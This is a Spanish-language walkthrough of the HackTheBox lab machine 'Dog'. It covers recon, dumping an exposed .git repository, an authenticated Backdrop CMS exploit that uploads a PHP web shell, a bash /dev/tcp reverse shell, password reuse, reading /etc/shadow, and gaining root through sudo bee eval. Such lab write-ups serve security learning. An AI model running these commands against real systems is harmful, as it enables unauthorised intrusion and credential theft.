> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/dog-hackthebox-writeup.md).

# Guía de HackTheBox Dog

Guía de la máquina HackTheBox Dog Fácil Linux que cubre extracción de información de la carpeta .git (fuga de información), ejecución remota de código autenticada (CMS Backdrop), pivotación (reutilización de contraseña), Sudo be

{% embed url="<https://app.hackthebox.com/machines/Dog>" %}

{% hint style="warning" %}
**Habilidades:**

* Extrayendo información de la carpeta .git (fuga de información)
* Ejecución remota de código autenticada (CMS Backdrop)
* Pivotación (reutilización de contraseñas)
* Binario bee de Sudo (ejecución de código PHP) (escalada de privilegios)
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-99b0799781f17526e27c7bf954574f1958429f1f%2Fimage%20(623).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para garantizar una comunicación estable con la máquina objetivo.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de6ccfcda810beb202281fe65f9d346ca9f51127%2Fimage%20(624).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.58 -oG allPorts
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d37fa3111aee7368a40d19afc2ac3e3ce6285d5%2Fimage%20(625).png?alt=media" alt=""><figcaption></figcaption></figure>

**Escaneo de versión de puertos con Nmap 22.80:**

Usa Nmap para escanear las versiones de los servicios y guarda la salida en el archivo "targeted":

```bash
nmap -sCV -p22,80 10.10.11.58 -oN targeted 
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f9793b85f1e941ffbb225a75c9ddd16015082c2%2Fimage%20(627).png?alt=media" alt=""><figcaption></figcaption></figure>

### Puerto 80 - HTTP

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-12b6acc1bb82fff1563bba2d2e3f9eea61e9e2c9%2Fimage%20(628).png?alt=media" alt=""><figcaption></figcaption></figure>

Descubrimos un **.git** directorio, lo que indica un posible repositorio Git accesible públicamente. El sitio utiliza el **Backdrop** CMS.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a6cf45fef64f2ccf3abea7e9f4e35eac72ab6527%2Fimage%20(629).png?alt=media" alt=""><figcaption></figcaption></figure>

**Enumeración con Gobuster**

```bash
gobuster dir -u http://10.10.11.58 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

Encontramos varios directorios interesantes, incluidos **.git**.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dca9e2c920e3e9d0245d4f33afc0656169c4e3fa%2Fimage%20(630).png?alt=media" alt=""><figcaption></figcaption></figure>

**volcado del repositorio Git**

Recuperamos el contenido del repositorio con:

```git
git-dumper http://10.10.11.58/.git .git
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8761e8c7602332845bf0d5005227a752b21fd048%2Fimage%20(631).png?alt=media" alt=""><figcaption></figcaption></figure>

Encontramos un **settings.php** archivo que contiene una contraseña:

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-16fff1520d2a586aa99f5350f33a2b8fcbea0bc9%2Fimage%20(632).png?alt=media" alt=""><figcaption></figcaption></figure>

Buscamos correos guardados con:

```bash
find .git -type f -exec grep -E '@dog' {} +
```

Encontramos el siguiente correo electrónico: **<tiffany@dog.htb>**.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-74d3075d5c00a3d143bba87d4851630a17b9c433%2Fimage%20(633).png?alt=media" alt=""><figcaption></figcaption></figure>

## **Explotación de Backdrop CMS (RCE)**

Usamos las credenciales encontradas para conectarnos al CMS.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e7d05759319e5aae7c9d41455e72c9646ec56c87%2Fimage%20(634).png?alt=media" alt=""><figcaption></figcaption></figure>

**Buscar vulnerabilidades**

Con **searchsploit**, identificamos una falla de RCE:

```bash
searchsploit -m php/webapps/52021.py
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6c8750629d8cbaecd734ff386c172f9f3fce7a84%2Fimage%20(635).png?alt=media" alt=""><figcaption></figcaption></figure>

Ejecutamos el exploit:

```bash
python3 52021.py http://10.10.11.58
```

Esto genera un archivo ZIP que contiene un shell PHP.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e6b8c2803d4083cf218a11b04cf954ae7685e362%2Fimage%20(636).png?alt=media" alt=""><figcaption></figcaption></figure>

Luego comprimimos el shell en **tar.gz**:

```bash
tar -czvf shell.tar.gz shell
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-60bffde1288acfaf36be4a9571b7c7dfd02e243f%2Fimage%20(637).png?alt=media" alt=""><figcaption></figcaption></figure>

Lo inyectamos mediante **admin / installer / manual**.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1bebfa41d951db53d2ef0c6468c878df064a62f2%2Fimage%20(638).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be618b8a576f80deb6cd999be90e6cfbad1a7ef2%2Fimage%20(639).png?alt=media" alt=""><figcaption></figcaption></figure>

**cumplimiento de pedidos**

Encontramos una carpeta **modules/cmd/** que contiene **cmd.php**

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e31cc9cb22e5a42ed6909f55a8e9484921a0108a%2Fimage%20(640).png?alt=media" alt=""><figcaption></figcaption></figure>

Lo que nos permite ejecutar órdenes:

```bash
ifconfig 
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-23ca234217fa95f326999e5d5d57844118a33442%2Fimage%20(641).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Shell inversa en Backdrop CMS**

Abrimos un listener en el puerto 443:

```bash
nc -nlvp 443 
```

Inyectamos una carga útil:

```bash
bash -c "bash -i >&/dev/tcp/10.10.14.81/443 0>&1"
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-08b91c3335d4e87f3252071166ac44288c01ef39%2Fimage%20(642).png?alt=media" alt=""><figcaption></figcaption></figure>

Una vez conectados, estabilizamos nuestra shell:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## **Escalada de privilegios**

### **Pivotando al usuario johncusack**

Enumeramos los usuarios con una shell Bash válida:

```bash
cat /etc/passwd | grep "/bash"
```

Encontramos **root, jobert y johncusack**.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-24eaebf34b7a9ec59821c82ba85aed7f89deec47%2Fimage%20(643).png?alt=media" alt=""><figcaption></figcaption></figure>

Intentamos reutilizar las credenciales y obtenemos acceso con:

```bash
su johncusack
BackDropJ2024DS2024
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aee9ae961fc30108b3715847ec51d3c1a96a48a0%2Fimage%20(644).png?alt=media" alt=""><figcaption></figcaption></figure>

### Bandera user.txt :)

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3795951603ee379ea4d24a779844d04a85fca1e1%2Fimage%20(648).png?alt=media" alt="" width="557"><figcaption></figcaption></figure>

### **Escalada de privilegios con el binario Bee**

Comprobamos los privilegios de sudo:

```bash
sudo -l
```

Podemos ejecutar **/usr/local/bin/bee** como root.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f24d3737f30f7efe05aa128faaa4d6d23e277e9c%2Fimage%20(645).png?alt=media" alt=""><figcaption></figcaption></figure>

**Análisis de Bee**

{% hint style="info" %}
Bee es una herramienta de administración para **Backdrop CMS**, similar a **Drush** para Drupal. Permite la ejecución de varios comandos.
{% endhint %}

`Uso: bee [opciones-globales] [opciones] [argumentos]`

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d412d26b585e1d1c1f44048436f99dc13e183fb5%2Fimage%20(646).png?alt=media" alt=""><figcaption></figcaption></figure>

Identificamos la opción **eval** que permite ejecutar código PHP arbitrario.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6adc0a0848bf8e4378a80347ee7664bca75f76e4%2Fimage%20(647).png?alt=media" alt=""><figcaption></figcaption></figure>

**Leer `/etc/shadow`**

{% code overflow="wrap" %}

```bash
sudo /usr/local/bin/bee --root=/var/www/html eval 'echo shell_exec("cat /etc/shadow 2>&1");'
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3fdc0fd20adf91a65dbdaaf26f8c10a680141a43%2Fimage%20(649).png?alt=media" alt=""><figcaption></figcaption></figure>

**Shell de root obtenida**

{% code overflow="wrap" %}

```bash
sudo /usr/local/bin/bee --root=/var/www/html eval 'shell_exec("/bin/bash -p");'
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c84bf1122334818882ac43099f12872be39a876a%2Fimage%20(650).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-05300e30ecc099bf870dbe6d7c9e576836a5dda0%2Fimage%20(651).png?alt=media" alt="" width="398"><figcaption></figcaption></figure>


---

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